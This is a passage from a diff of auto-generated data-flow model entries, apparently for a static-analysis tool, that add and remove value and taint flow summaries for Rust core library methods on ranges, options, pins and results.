"Argument[self].Field[crate::ops::range::Range::end].Reference", "Argument[self].Field[crate::ops::range::Range::start]", "value", "dfc-generated"] - - ["lang:core", "::spec_nth", "Argument[self].Field[crate::ops::range::Range::end]", "Argument[self].Field[crate::ops::range::Range::start].Reference", "value", "dfc-generated"] - ["lang:core", "::spec_nth", "Argument[self].Field[crate::ops::range::Range::end]", "Argument[self].Field[crate::ops::range::Range::start]", "value", "dfc-generated"] - ["lang:core", "::spec_nth_back", "Argument[self].Field[crate::ops::range::Range::end]", "ReturnValue.Field[crate::option::Option::Some(0)]", "value", "dfc-generated"] - ["lang:core", "::spec_nth_back", "Argument[self].Field[crate::ops::range::Range::start]", "Argument[self].Field[crate::ops::range::Range::end]", "value", "dfc-generated"] - ["lang:core", "::spec_nth_back", "Argument[self]", "ReturnValue", "taint", "df-generated"] + - ["lang:core", "::next_back", "Argument[self].Field[crate::ops::range::Range::end].Reference", "ReturnValue.Field[crate::option::Option::Some(0)]", "value", "dfc-generated"] + - ["lang:core", "::next_back", "Argument[self].Field[crate::ops::range::Range::end]", "ReturnValue.Field[crate::option::Option::Some(0)]", "value", "dfc-generated"] + - ["lang:core", "::nth_back", "Argument[self].Field[crate::ops::range::Range::end].Reference", "ReturnValue.Field[crate::option::Option::Some(0)]", "value", "dfc-generated"] + - ["lang:core", "::nth_back", "Argument[self].Field[crate::ops::range::Range::end]", "ReturnValue.Field[crate::option::Option::Some(0)]", "value", "dfc-generated"] + - ["lang:core", "::last", "Argument[self].Field[crate::ops::range::Range::end].Reference", "ReturnValue.Field[crate::option::Option::Some(0)]", "value", "dfc-generated"] + - ["lang:core", "::last", "Argument[self].Field[crate::ops::range::Range::end]", "ReturnValue.Field[crate::option::Option::Some(0)]", "value", "dfc-generated"] + - ["lang:core", "::max", "Argument[self].Field[crate::ops::range::Range::end].Reference", "ReturnValue.Field[crate::option::Option::Some(0)]", "value", "dfc-generated"] + - ["lang:core", "::max", "Argument[self].Field[crate::ops::range::Range::end]", "ReturnValue.Field[crate::option::Option::Some(0)]", "value", "dfc-generated"] + - ["lang:core", "::min", "Argument[self].Field[crate::ops::range::Range::start]", "ReturnValue.Field[crate::option::Option::Some(0)]", "value", "dfc-generated"] + - ["lang:core", "::next", "Argument[self].Field[crate::ops::range::Range::start]", "ReturnValue.Field[crate::option::Option::Some(0)]", "value", "dfc-generated"] - ["lang:core", "::into_bounds", "Argument[self].Field[crate::ops::range::Range::end]", "ReturnValue.Field[1].Field[crate::ops::range::Bound::Excluded(0)]", "value", "dfc-generated"] - ["lang:core", "::into_bounds", "Argument[self].Field[crate::ops::range::Range::start]", "ReturnValue.Field[0].Field[crate::ops::range::Bound::Included(0)]", "value", "dfc-generated"] - ["lang:core", "::end_bound", "Argument[self].Field[crate::ops::range::Range::end]", "ReturnValue.Field[crate::ops::range::Bound::Excluded(0)].Reference", "value", "dfc-generated"] @@ -878,7 +1274,6 @@ extensions: - ["lang:core", "::start_bound", "Argument[self].Field[crate::ops::range::Range::start]", "ReturnValue.Field[crate::ops::range::Bound::Included(0)].Reference", "value", "dfc-generated"] - ["lang:core", "::start_bound", "Argument[self].Field[crate::ops::range::Range::start]", "ReturnValue.Field[crate::ops::range::Bound::Included(0)]", "value", "dfc-generated"] - ["lang:core", "::from", "Argument[0].Field[crate::range::RangeFrom::start]", "ReturnValue.Field[crate::ops::range::RangeFrom::start]", "value", "dfc-generated"] - - ["lang:core", "::next", "Argument[self].Field[crate::ops::range::RangeFrom::start]", "ReturnValue.Field[crate::option::Option::Some(0)]", "value", "dfc-generated"] - ["lang:core", "::into_bounds", "Argument[self].Field[crate::ops::range::RangeFrom::start]", "ReturnValue.Field[0].Field[crate::ops::range::Bound::Included(0)]", "value", "dfc-generated"] - ["lang:core", "::bound", "Argument[self].Field[crate::ops::range::RangeFrom::start]", "ReturnValue.Field[1]", "value", "dfc-generated"] - ["lang:core", "::start_bound", "Argument[self].Field[crate::ops::range::RangeFrom::start]", "ReturnValue.Field[crate::ops::range::Bound::Included(0)].Reference", "value", "dfc-generated"] @@ -890,24 +1285,29 @@ extensions: - ["lang:core", "::index", "Argument[0]", "ReturnValue", "value", "dfc-generated"] - ["lang:core", "::index_mut", "Argument[0]", "ReturnValue", "value", "dfc-generated"] - ["lang:core", "::spec_next", "Argument[self].Field[crate::ops::range::RangeInclusive::start].Reference", "ReturnValue.Field[crate::option::Option::Some(0)]", "value", "dfc-generated"] - - ["lang:core", "::spec_next", "Argument[self].Field[crate::ops::range::RangeInclusive::start]", "ReturnValue.Field[crate::option::Option::Some(0)].Reference", "value", "dfc-generated"] - ["lang:core", "::spec_next", "Argument[self].Field[crate::ops::range::RangeInclusive::start]", "ReturnValue.Field[crate::option::Option::Some(0)]", "value", "dfc-generated"] - ["lang:core", "::spec_next_back", "Argument[self].Field[crate::ops::range::RangeInclusive::end].Reference", "ReturnValue.Field[crate::option::Option::Some(0)]", "value", "dfc-generated"] - - ["lang:core", "::spec_next_back", "Argument[self].Field[crate::ops::range::RangeInclusive::end]", "ReturnValue.Field[crate::option::Option::Some(0)].Reference", "value", "dfc-generated"] - ["lang:core", "::spec_next_back", "Argument[self].Field[crate::ops::range::RangeInclusive::end]", "ReturnValue.Field[crate::option::Option::Some(0)]", "value", "dfc-generated"] - ["lang:core", "::spec_try_fold", "Argument[0]", "ReturnValue", "value", "dfc-generated"] - - ["lang:core", "::spec_try_fold", "Argument[self].Field[crate::ops::range::RangeInclusive::start].Reference", "Argument[1].Parameter[1]", "value", "dfc-generated"] - - ["lang:core", "::spec_try_fold", "Argument[self].Field[crate::ops::range::RangeInclusive::start]", "Argument[1].Parameter[1].Reference", "value", "dfc-generated"] - ["lang:core", "::spec_try_fold", "Argument[self].Field[crate::ops::range::RangeInclusive::start]", "Argument[1].Parameter[1]", "value", "dfc-generated"] - ["lang:core", "::spec_try_rfold", "Argument[0]", "ReturnValue", "value", "dfc-generated"] - - ["lang:core", "::spec_try_rfold", "Argument[self].Field[crate::ops::range::RangeInclusive::end]", "Argument[1].Parameter[1]", "value", "dfc-generated"] - ["lang:core", "::spec_try_rfold", "Argument[self].Field[crate::ops::range::RangeInclusive::start]", "Argument[1].Parameter[1]", "value", "dfc-generated"] + - ["lang:core", "::next_back", "Argument[self].Field[crate::ops::range::RangeInclusive::end].Reference", "ReturnValue.Field[crate::option::Option::Some(0)]", "value", "dfc-generated"] + - ["lang:core", "::next_back", "Argument[self].Field[crate::ops::range::RangeInclusive::end]", "ReturnValue.Field[crate::option::Option::Some(0)]", "value", "dfc-generated"] - ["lang:core", "::nth_back", "Argument[self].Field[crate::ops::range::RangeInclusive::start].Reference", "Argument[self].Field[crate::ops::range::RangeInclusive::end]", "value", "dfc-generated"] - - ["lang:core", "::nth_back", "Argument[self].Field[crate::ops::range::RangeInclusive::start]", "Argument[self].Field[crate::ops::range::RangeInclusive::end].Reference", "value", "dfc-generated"] - ["lang:core", "::nth_back", "Argument[self].Field[crate::ops::range::RangeInclusive::start]", "Argument[self].Field[crate::ops::range::RangeInclusive::end]", "value", "dfc-generated"] + - ["lang:core", "::try_rfold", "Argument[0]", "ReturnValue", "value", "dfc-generated"] + - ["lang:core", "::last", "Argument[self].Field[crate::ops::range::RangeInclusive::end].Reference", "ReturnValue.Field[crate::option::Option::Some(0)]", "value", "dfc-generated"] + - ["lang:core", "::last", "Argument[self].Field[crate::ops::range::RangeInclusive::end]", "ReturnValue.Field[crate::option::Option::Some(0)]", "value", "dfc-generated"] + - ["lang:core", "::max", "Argument[self].Field[crate::ops::range::RangeInclusive::end].Reference", "ReturnValue.Field[crate::option::Option::Some(0)]", "value", "dfc-generated"] + - ["lang:core", "::max", "Argument[self].Field[crate::ops::range::RangeInclusive::end]", "ReturnValue.Field[crate::option::Option::Some(0)]", "value", "dfc-generated"] + - ["lang:core", "::min", "Argument[self].Field[crate::ops::range::RangeInclusive::start].Reference", "ReturnValue.Field[crate::option::Option::Some(0)]", "value", "dfc-generated"] + - ["lang:core", "::min", "Argument[self].Field[crate::ops::range::RangeInclusive::start]", "ReturnValue.Field[crate::option::Option::Some(0)]", "value", "dfc-generated"] + - ["lang:core", "::next", "Argument[self].Field[crate::ops::range::RangeInclusive::start].Reference", "ReturnValue.Field[crate::option::Option::Some(0)]", "value", "dfc-generated"] + - ["lang:core", "::next", "Argument[self].Field[crate::ops::range::RangeInclusive::start]", "ReturnValue.Field[crate::option::Option::Some(0)]", "value", "dfc-generated"] - ["lang:core", "::nth", "Argument[self].Field[crate::ops::range::RangeInclusive::end].Reference", "Argument[self].Field[crate::ops::range::RangeInclusive::start]", "value", "dfc-generated"] - - ["lang:core", "::nth", "Argument[self].Field[crate::ops::range::RangeInclusive::end]", "Argument[self].Field[crate::ops::range::RangeInclusive::start].Reference", "value", "dfc-generated"] - ["lang:core", "::nth", "Argument[self].Field[crate::ops::range::RangeInclusive::end]", "Argument[self].Field[crate::ops::range::RangeInclusive::start]", "value", "dfc-generated"] + - ["lang:core", "::try_fold", "Argument[0]", "ReturnValue", "value", "dfc-generated"] - ["lang:core", "::into_bounds", "Argument[self].Field[crate::ops::range::RangeInclusive::end]", "ReturnValue.Field[1].Field[crate::ops::range::Bound::Excluded(0)]", "value", "dfc-generated"] - ["lang:core", "::into_bounds", "Argument[self].Field[crate::ops::range::RangeInclusive::end]", "ReturnValue.Field[1].Field[crate::ops::range::Bound::Included(0)]", "value", "dfc-generated"] - ["lang:core", "::into_bounds", "Argument[self].Field[crate::ops::range::RangeInclusive::start]", "ReturnValue.Field[0].Field[crate::ops::range::Bound::Included(0)]", "value", "dfc-generated"] @@ -935,12 +1335,11 @@ extensions: - ["lang:core", "::from_output", "Argument[0]", "ReturnValue.Field[crate::ops::try_trait::NeverShortCircuit(0)]", "value", "dfc-generated"] - ["lang:core", "::wrap_mut_1", "Argument[0]", "ReturnValue", "value", "dfc-generated"] - ["lang:core", "::wrap_mut_2", "Argument[0]", "ReturnValue", "value", "dfc-generated"] - - ["lang:core", "::next_back", "Argument[self].Field[crate::option::Item::opt].Reference", "ReturnValue", "value", "dfc-generated"] - - ["lang:core", "::next_back", "Argument[self].Field[crate::option::Item::opt]", "ReturnValue", "value", "dfc-generated"] - ["lang:core", "::clone", "Argument[self].Field[crate::option::Iter::inner].Reference", "ReturnValue.Field[crate::option::Iter::inner]", "value", "dfc-generated"] - ["lang:core", "::clone", "Argument[self].Field[crate::option::Iter::inner]", "ReturnValue.Field[crate::option::Iter::inner]", "value", "dfc-generated"] + - ["lang:core", "::next", "Argument[self]", "ReturnValue", "taint", "df-generated"] + - ["lang:core", "::next", "Argument[self]", "ReturnValue", "taint", "df-generated"] - ["lang:core", "::clone", "Argument[self].Field[crate::option::Option::Some(0)].Reference", "ReturnValue.Field[crate::option::Option::Some(0)]", "value", "dfc-generated"] - - ["lang:core", "::clone", "Argument[self].Field[crate::option::Option::Some(0)]", "ReturnValue.Field[crate::option::Option::Some(0)]", "value", "dfc-generated"] - ["lang:core", "::from", "Argument[0].Reference.Field[crate::option::Option::Some(0)]", "ReturnValue.Field[crate::option::Option::Some(0)].Reference", "value", "dfc-generated"] - ["lang:core", "::from", "Argument[0]", "ReturnValue.Field[crate::option::Option::Some(0)]", "value", "dfc-generated"] - ["lang:core", "::branch", "Argument[self].Field[crate::option::Option::Some(0)]", "ReturnValue.Field[crate::ops::control_flow::ControlFlow::Continue(0)]", "value", "dfc-generated"] @@ -953,7 +1352,6 @@ extensions: - ["lang:core", "::as_mut", "Argument[self].Reference.Field[crate::option::Option::Some(0)]", "ReturnValue.Field[crate::option::Option::Some(0)].Reference", "value", "dfc-generated"] - ["lang:core", "::as_ref", "Argument[self].Reference.Field[crate::option::Option::Some(0)]", "ReturnValue.Field[crate::option::Option::Some(0)].Reference", "value", "dfc-generated"] - ["lang:core", "::cloned", "Argument[self].Field[crate::option::Option::Some(0)].Reference", "ReturnValue.Field[crate::option::Option::Some(0)]", "value", "dfc-generated"] - - ["lang:core", "::cloned", "Argument[self].Field[crate::option::Option::Some(0)]", "ReturnValue.Field[crate::option::Option::Some(0)]", "value", "dfc-generated"] - ["lang:core", "::copied", "Argument[self].Field[crate::option::Option::Some(0)].Reference", "ReturnValue.Field[crate::option::Option::Some(0)]", "value", "dfc-generated"] - ["lang:core", "::expect", "Argument[self].Field[crate::option::Option::Some(0)]", "ReturnValue", "value", "dfc-generated"] - ["lang:core", "::flatten", "Argument[self].Field[crate::option::Option::Some(0)]", "ReturnValue", "value", "dfc-generated"] @@ -976,22 +1374,21 @@ extensions: - ["lang:core", "::map_or", "Argument[0]", "ReturnValue", "value", "dfc-generated"] - ["lang:core", "::map_or", "Argument[1].ReturnValue", "ReturnValue", "value", "dfc-generated"] - ["lang:core", "::map_or", "Argument[self].Field[crate::option::Option::Some(0)]", "Argument[1].Parameter[0]", "value", "dfc-generated"] + - ["lang:core", "::map_or_else", "Argument[0].ReturnValue", "ReturnValue.Field[crate::result::Result::Err(0)]", "value", "dfc-generated"] - ["lang:core", "::map_or_else", "Argument[0].ReturnValue", "ReturnValue", "value", "dfc-generated"] - ["lang:core", "::map_or_else", "Argument[1].ReturnValue", "ReturnValue", "value", "dfc-generated"] + - ["lang:core", "::map_or_else", "Argument[self].Field[crate::option::Option::Some(0)].Reference", "ReturnValue.Field[crate::result::Result::Ok(0)]", "value", "dfc-generated"] - ["lang:core", "::map_or_else", "Argument[self].Field[crate::option::Option::Some(0)]", "Argument[1].Parameter[0]", "value", "dfc-generated"] - ["lang:core", "::ok_or", "Argument[0]", "ReturnValue.Field[crate::result::Result::Err(0)]", "value", "dfc-generated"] - ["lang:core", "::ok_or", "Argument[self].Field[crate::option::Option::Some(0)]", "ReturnValue.Field[crate::result::Result::Ok(0)]", "value", "dfc-generated"] - ["lang:core", "::ok_or_else", "Argument[0].ReturnValue", "ReturnValue.Field[crate::result::Result::Err(0)]", "value", "dfc-generated"] + - ["lang:core", "::ok_or_else", "Argument[0]", "ReturnValue.Field[crate::result::Result::Err(0)]", "value", "dfc-generated"] - ["lang:core", "::ok_or_else", "Argument[self].Field[crate::option::Option::Some(0)]", "ReturnValue.Field[crate::result::Result::Ok(0)]", "value", "dfc-generated"] - ["lang:core", "::or", "Argument[0]", "ReturnValue", "value", "dfc-generated"] - ["lang:core", "::or", "Argument[self]", "ReturnValue", "value", "dfc-generated"] - ["lang:core", "::or_else", "Argument[0].ReturnValue", "ReturnValue", "value", "dfc-generated"] - ["lang:core", "::or_else", "Argument[self]", "ReturnValue", "value", "dfc-generated"] - - ["lang:core", "::replace", "Argument[0]", "Argument[self].Reference.Field[crate::option::Option::Some(0)]", "value", "dfc-generated"] - - ["lang:core", "::replace", "Argument[self].Reference", "ReturnValue", "value", "dfc-generated"] - - ["lang:core", "::take", "Argument[self].Reference", "ReturnValue", "value", "dfc-generated"] - ["lang:core", "::take_if", "Argument[self].Reference.Field[crate::option::Option::Some(0)]", "Argument[0].Parameter[0].Reference", "value", "dfc-generated"] - - ["lang:core", "::take_if", "Argument[self].Reference", "ReturnValue", "value", "dfc-generated"] - ["lang:core", "::transpose", "Argument[self].Field[crate::option::Option::Some(0)].Field[crate::result::Result::Err(0)]", "ReturnValue.Field[crate::result::Result::Err(0)]", "value", "dfc-generated"] - ["lang:core", "::transpose", "Argument[self].Field[crate::option::Option::Some(0)].Field[crate::result::Result::Ok(0)]", "ReturnValue.Field[crate::result::Result::Ok(0)].Field[crate::option::Option::Some(0)]", "value", "dfc-generated"] - ["lang:core", "::unwrap", "Argument[self].Field[crate::option::Option::Some(0)]", "ReturnValue", "value", "dfc-generated"] @@ -1033,28 +1430,37 @@ extensions: - ["lang:core", "::deref", "Argument[self].Field[crate::pin::Pin::__pointer].Reference", "ReturnValue.Reference", "value", "dfc-generated"] - ["lang:core", "::deref_mut", "Argument[self].Field[crate::pin::Pin::__pointer].Reference", "ReturnValue.Reference", "value", "dfc-generated"] - ["lang:core", "::as_mut", "Argument[self].Field[crate::pin::Pin::__pointer].Reference", "ReturnValue.Field[crate::pin::Pin::__pointer].Reference", "value", "dfc-generated"] + - ["lang:core", "::as_mut", "Argument[self].Field[crate::pin::Pin::__pointer].Reference", "ReturnValue", "value", "dfc-generated"] - ["lang:core", "::as_ref", "Argument[self].Field[crate::pin::Pin::__pointer].Reference", "ReturnValue.Field[crate::pin::Pin::__pointer].Reference", "value", "dfc-generated"] + - ["lang:core", "::as_ref", "Argument[self].Field[crate::pin::Pin::__pointer].Reference", "ReturnValue", "value", "dfc-generated"] - ["lang:core", "::get_mut", "Argument[self].Field[crate::pin::Pin::__pointer]", "ReturnValue", "value", "dfc-generated"] - ["lang:core", "::get_ref", "Argument[self].Field[crate::pin::Pin::__pointer]", "ReturnValue", "value", "dfc-generated"] - ["lang:core", "::get_unchecked_mut", "Argument[self].Field[crate::pin::Pin::__pointer]", "ReturnValue", "value", "dfc-generated"] - ["lang:core", "::into_inner", "Argument[0].Field[crate::pin::Pin::__pointer]", "ReturnValue", "value", "dfc-generated"] - ["lang:core", "::into_inner_unchecked", "Argument[0].Field[crate::pin::Pin::__pointer]", "ReturnValue", "value", "dfc-generated"] - ["lang:core", "::into_ref", "Argument[self].Field[crate::pin::Pin::__pointer]", "ReturnValue.Field[crate::pin::Pin::__pointer]", "value", "dfc-generated"] + - ["lang:core", "::map_unchecked", "Argument[0].ReturnValue.Reference", "ReturnValue", "value", "dfc-generated"] - ["lang:core", "::map_unchecked", "Argument[0].ReturnValue", "ReturnValue.Field[crate::pin::Pin::__pointer]", "value", "dfc-generated"] - ["lang:core", "::map_unchecked", "Argument[self].Field[crate::pin::Pin::__pointer].Reference", "Argument[0].Parameter[0].Reference", "value", "dfc-generated"] + - ["lang:core", "::map_unchecked_mut", "Argument[0].ReturnValue.Reference", "ReturnValue", "value", "dfc-generated"] - ["lang:core", "::map_unchecked_mut", "Argument[0].ReturnValue", "ReturnValue.Field[crate::pin::Pin::__pointer]", "value", "dfc-generated"] - ["lang:core", "::map_unchecked_mut", "Argument[self].Field[crate::pin::Pin::__pointer].Field[0]", "ReturnValue.Field[crate::pin::Pin::__pointer].Reference", "value", "dfc-generated"] + - ["lang:core", "::map_unchecked_mut", "Argument[self].Field[crate::pin::Pin::__pointer].Field[0]", "ReturnValue", "value", "dfc-generated"] - ["lang:core", "::map_unchecked_mut", "Argument[self].Field[crate::pin::Pin::__pointer]", "Argument[0].Parameter[0]", "value", "dfc-generated"] + - ["lang:core", "::new", "Argument[0].Reference", "ReturnValue", "value", "dfc-generated"] - ["lang:core", "::new", "Argument[0]", "ReturnValue.Field[crate::pin::Pin::__pointer]", "value", "dfc-generated"] - ["lang:core", "::new_unchecked", "Argument[0]", "ReturnValue.Field[crate::pin::Pin::__pointer]", "value", "dfc-generated"] - ["lang:core", "::set", "Argument[0]", "Argument[self].Field[crate::pin::Pin::__pointer].Reference", "value", "dfc-generated"] + - ["lang:core", "::static_mut", "Argument[0].Reference", "ReturnValue", "value", "dfc-generated"] - ["lang:core", "::static_mut", "Argument[0]", "ReturnValue.Field[crate::pin::Pin::__pointer]", "value", "dfc-generated"] + - ["lang:core", "::static_ref", "Argument[0].Reference", "ReturnValue", "value", "dfc-generated"] - ["lang:core", "::static_ref", "Argument[0]", "ReturnValue.Field[crate::pin::Pin::__pointer]", "value", "dfc-generated"] - ["lang:core", "::as_usize", "Argument[self]", "ReturnValue", "taint", "df-generated"] - ["lang:core", "::max", "Argument[0]", "ReturnValue", "value", "dfc-generated"] - ["lang:core", "::max", "Argument[1]", "ReturnValue", "value", "dfc-generated"] - ["lang:core", "::clone", "Argument[self].Reference", "ReturnValue", "value", "dfc-generated"] - ["lang:core", "::clone", "Argument[self].Reference", "ReturnValue", "value", "dfc-generated"] + - ["lang:core", "::from", "Argument[0].Field[crate::ptr::unique::Unique::pointer]", "ReturnValue", "value", "dfc-generated"] - ["lang:core", "::from", "Argument[0]", "ReturnValue", "taint", "df-generated"] - ["lang:core", "::from_mut", "Argument[0]", "ReturnValue", "taint", "df-generated"] - ["lang:core", "::from_ref", "Argument[0]", "ReturnValue", "taint", "df-generated"] @@ -1086,37 +1492,37 @@ extensions: - ["lang:core", "::start_bound", "Argument[self].Field[crate::range::RangeInclusive::start]", "ReturnValue.Field[crate::ops::range::Bound::Included(0)].Reference", "value", "dfc-generated"] - ["lang:core", "::start_bound", "Argument[self].Field[crate::range::RangeInclusive::start]", "ReturnValue.Field[crate::ops::range::Bound::Included(0)]", "value", "dfc-generated"] - ["lang:core", "::into_slice_range", "Argument[self].Field[crate::range::RangeInclusive::start]", "ReturnValue.Field[crate::range::Range::start]", "value", "dfc-generated"] - - ["lang:core", "::advance_by", "Argument[0]", "ReturnValue", "taint", "df-generated"] - - ["lang:core", "::max", "Argument[self]", "ReturnValue", "taint", "df-generated"] - - ["lang:core", "::min", "Argument[self]", "ReturnValue", "taint", "df-generated"] - - ["lang:core", "::nth", "Argument[self].Field[0].Element", "ReturnValue.Field[crate::option::Option::Some(0)]", "value", "dfc-generated"] - - ["lang:core", "::nth", "Argument[self].Field[crate::range::iter::IterRange(0)].Element", "ReturnValue.Field[crate::option::Option::Some(0)]", "value", "dfc-generated"] + - ["lang:core", "::next_back", "Argument[self].Field[0].Field[crate::ops::range::Range::end]", "ReturnValue.Field[crate::option::Option::Some(0)]", "value", "dfc-generated"] + - ["lang:core", "::next_back", "Argument[self].Field[crate::range::iter::IterRange(0)].Field[crate::ops::range::Range::end]", "ReturnValue.Field[crate::option::Option::Some(0)]", "value", "dfc-generated"] + - ["lang:core", "::nth_back", "Argument[self].Field[0].Field[crate::ops::range::Range::end]", "ReturnValue.Field[crate::option::Option::Some(0)]", "value", "dfc-generated"] + - ["lang:core", "::nth_back", "Argument[self].Field[crate::range::iter::IterRange(0)].Field[crate::ops::range::Range::end]", "ReturnValue.Field[crate::option::Option::Some(0)]", "value", "dfc-generated"] + - ["lang:core", "::last", "Argument[self].Field[0].Field[crate::ops::range::Range::end]", "ReturnValue.Field[crate::option::Option::Some(0)]", "value", "dfc-generated"] + - ["lang:core", "::last", "Argument[self].Field[crate::range::iter::IterRange(0)].Field[crate::ops::range::Range::end]", "ReturnValue.Field[crate::option::Option::Some(0)]", "value", "dfc-generated"] + - ["lang:core", "::max", "Argument[self].Field[0].Field[crate::ops::range::Range::end]", "ReturnValue.Field[crate::option::Option::Some(0)]", "value", "dfc-generated"] + - ["lang:core", "::max", "Argument[self].Field[crate::range::iter::IterRange(0)].Field[crate::ops::range::Range::end]", "ReturnValue.Field[crate::option::Option::Some(0)]", "value", "dfc-generated"] + - ["lang:core", "::min", "Argument[self].Field[0].Field[crate::ops::range::Range::start]", "ReturnValue.Field[crate::option::Option::Some(0)]", "value", "dfc-generated"] + - ["lang:core", "::min", "Argument[self].Field[crate::range::iter::IterRange(0)].Field[crate::ops::range::Range::start]", "ReturnValue.Field[crate::option::Option::Some(0)]", "value", "dfc-generated"] + - ["lang:core", "::next", "Argument[self].Field[0].Field[crate::ops::range::Range::start]", "ReturnValue.Field[crate::option::Option::Some(0)]", "value", "dfc-generated"] + - ["lang:core", "::next", "Argument[self].Field[crate::range::iter::IterRange(0)].Field[crate::ops::range::Range::start]", "ReturnValue.Field[crate::option::Option::Some(0)]", "value", "dfc-generated"] - ["lang:core", "::remainder", "Argument[self]", "ReturnValue", "taint", "df-generated"] - - ["lang:core", "::nth", "Argument[self].Field[0].Element", "ReturnValue.Field[crate::option::Option::Some(0)]", "value", "dfc-generated"] - - ["lang:core", "::nth", "Argument[self].Field[crate::range::iter::IterRangeFrom(0)].Element", "ReturnValue.Field[crate::option::Option::Some(0)]", "value", "dfc-generated"] - ["lang:core", "::remainder", "Argument[self].Field[0].Field[crate::ops::range::RangeFrom::start]", "ReturnValue.Field[crate::range::RangeFrom::start]", "value", "dfc-generated"] - ["lang:core", "::remainder", "Argument[self].Field[crate::range::iter::IterRangeFrom(0)].Field[crate::ops::range::RangeFrom::start]", "ReturnValue.Field[crate::range::RangeFrom::start]", "value", "dfc-generated"] - ["lang:core", "::advance_back_by", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["lang:core", "::next_back", "Argument[self].Field[0].Field[crate::ops::range::RangeInclusive::end]", "ReturnValue.Field[crate::option::Option::Some(0)]", "value", "dfc-generated"] + - ["lang:core", "::next_back", "Argument[self].Field[crate::range::iter::IterRangeInclusive(0)].Field[crate::ops::range::RangeInclusive::end]", "ReturnValue.Field[crate::option::Option::Some(0)]", "value", "dfc-generated"] - ["lang:core", "::advance_by", "Argument[0]", "ReturnValue", "taint", "df-generated"] - - ["lang:core", "::max", "Argument[self]", "ReturnValue", "taint", "df-generated"] - - ["lang:core", "::min", "Argument[self]", "ReturnValue", "taint", "df-generated"] - - ["lang:core", "::nth", "Argument[self].Field[0].Element", "ReturnValue.Field[crate::option::Option::Some(0)]", "value", "dfc-generated"] - - ["lang:core", "::nth", "Argument[self].Field[crate::range::iter::IterRangeInclusive(0)].Element", "ReturnValue.Field[crate::option::Option::Some(0)]", "value", "dfc-generated"] + - ["lang:core", "::last", "Argument[self].Field[0].Field[crate::ops::range::RangeInclusive::end]", "ReturnValue.Field[crate::option::Option::Some(0)]", "value", "dfc-generated"] + - ["lang:core", "::last", "Argument[self].Field[crate::range::iter::IterRangeInclusive(0)].Field[crate::ops::range::RangeInclusive::end]", "ReturnValue.Field[crate::option::Option::Some(0)]", "value", "dfc-generated"] + - ["lang:core", "::max", "Argument[self].Field[0].Field[crate::ops::range::RangeInclusive::end]", "ReturnValue.Field[crate::option::Option::Some(0)]", "value", "dfc-generated"] + - ["lang:core", "::max", "Argument[self].Field[crate::range::iter::IterRangeInclusive(0)].Field[crate::ops::range::RangeInclusive::end]", "ReturnValue.Field[crate::option::Option::Some(0)]", "value", "dfc-generated"] + - ["lang:core", "::min", "Argument[self].Field[0].Field[crate::ops::range::RangeInclusive::start]", "ReturnValue.Field[crate::option::Option::Some(0)]", "value", "dfc-generated"] + - ["lang:core", "::min", "Argument[self].Field[crate::range::iter::IterRangeInclusive(0)].Field[crate::ops::range::RangeInclusive::start]", "ReturnValue.Field[crate::option::Option::Some(0)]", "value", "dfc-generated"] + - ["lang:core", "::next", "Argument[self].Field[0].Field[crate::ops::range::RangeInclusive::start]", "ReturnValue.Field[crate::option::Option::Some(0)]", "value", "dfc-generated"] + - ["lang:core", "::next", "Argument[self].Field[crate::range::iter::IterRangeInclusive(0)].Field[crate::ops::range::RangeInclusive::start]", "ReturnValue.Field[crate::option::Option::Some(0)]", "value", "dfc-generated"] - ["lang:core", "::remainder", "Argument[self]", "ReturnValue", "taint", "df-generated"] - - ["lang:core", "::next_back", "Argument[self].Field[crate::result::IntoIter::inner].Reference", "ReturnValue", "value", "dfc-generated"] - - ["lang:core", "::next_back", "Argument[self].Field[crate::result::IntoIter::inner]", "ReturnValue", "value", "dfc-generated"] - - ["lang:core", "::next", "Argument[self].Field[crate::result::IntoIter::inner].Reference", "ReturnValue", "value", "dfc-generated"] - - ["lang:core", "::next", "Argument[self].Field[crate::result::IntoIter::inner]", "ReturnValue", "value", "dfc-generated"] - ["lang:core", "::clone", "Argument[self].Field[crate::result::Iter::inner]", "ReturnValue.Field[crate::result::Iter::inner]", "value", "dfc-generated"] - - ["lang:core", "::next_back", "Argument[self].Field[crate::result::Iter::inner].Reference", "ReturnValue", "value", "dfc-generated"] - - ["lang:core", "::next_back", "Argument[self].Field[crate::result::Iter::inner]", "ReturnValue", "value", "dfc-generated"] - - ["lang:core", "::next", "Argument[self].Field[crate::result::Iter::inner].Reference", "ReturnValue", "value", "dfc-generated"] - - ["lang:core", "::next", "Argument[self].Field[crate::result::Iter::inner]", "ReturnValue", "value", "dfc-generated"] - - ["lang:core", "::next_back", "Argument[self].Field[crate::result::IterMut::inner].Reference", "ReturnValue", "value", "dfc-generated"] - - ["lang:core", "::next_back", "Argument[self].Field[crate::result::IterMut::inner]", "ReturnValue", "value", "dfc-generated"] - - ["lang:core", "::next", "Argument[self].Field[crate::result::IterMut::inner].Reference", "ReturnValue", "value", "dfc-generated"] - - ["lang:core", "::next", "Argument[self].Field[crate::result::IterMut::inner]", "ReturnValue", "value", "dfc-generated"] - - ["lang:core", "::clone", "Argument[self]", "ReturnValue", "taint", "df-generated"] + - ["lang:core", "::clone", "Argument[self].Field[crate::result::Result::Err(0)].Reference", "ReturnValue.Field[crate::result::Result::Err(0)]", "value", "dfc-generated"] + - ["lang:core", "::clone", "Argument[self].Field[crate::result::Result::Ok(0)].Reference", "ReturnValue.Field[crate::result::Result::Ok(0)]", "value", "dfc-generated"] - ["lang:core", "::branch", "Argument[self].Field[crate::result::Result::Err(0)]", "ReturnValue.Field[crate::ops::control_flow::ControlFlow::Break(0)].Field[crate::result::Result::Err(0)]", "value", "dfc-generated"] - ["lang:core", "::branch", "Argument[self].Field[crate::result::Result::Ok(0)]", "ReturnValue.Field[crate::ops::control_flow::ControlFlow::Continue(0)]", "value", "dfc-generated"] - ["lang:core", "::from_output", "Argument[0]", "ReturnValue.Field[crate::result::Result::Ok(0)]", "value", "dfc-generated"] @@ -1124,6 +1530,7 @@ extensions: - ["lang:core", "::and", "Argument[self].Field[crate::result::Result::Err(0)]", "ReturnValue.Field[crate::result::Result::Err(0)]", "value", "dfc-generated"] - ["lang:core", "::and_then", "Argument[self].Field[crate::result::Result::Err(0)]", "ReturnValue.Field[crate::result::Result::Err(0)]", "value", "dfc-generated"] - ["lang:core", "::and_then", "Argument[self].Field[crate::result::Result::Ok(0)]", "Argument[0].Parameter[0]", "value", "dfc-generated"] + - ["lang:core", "::and_then", "Argument[self].Field[crate::result::Result::Ok(0)]", "ReturnValue.Field[crate::result::Result::Ok(0)]", "value", "dfc-generated"] - ["lang:core", "::as_deref", 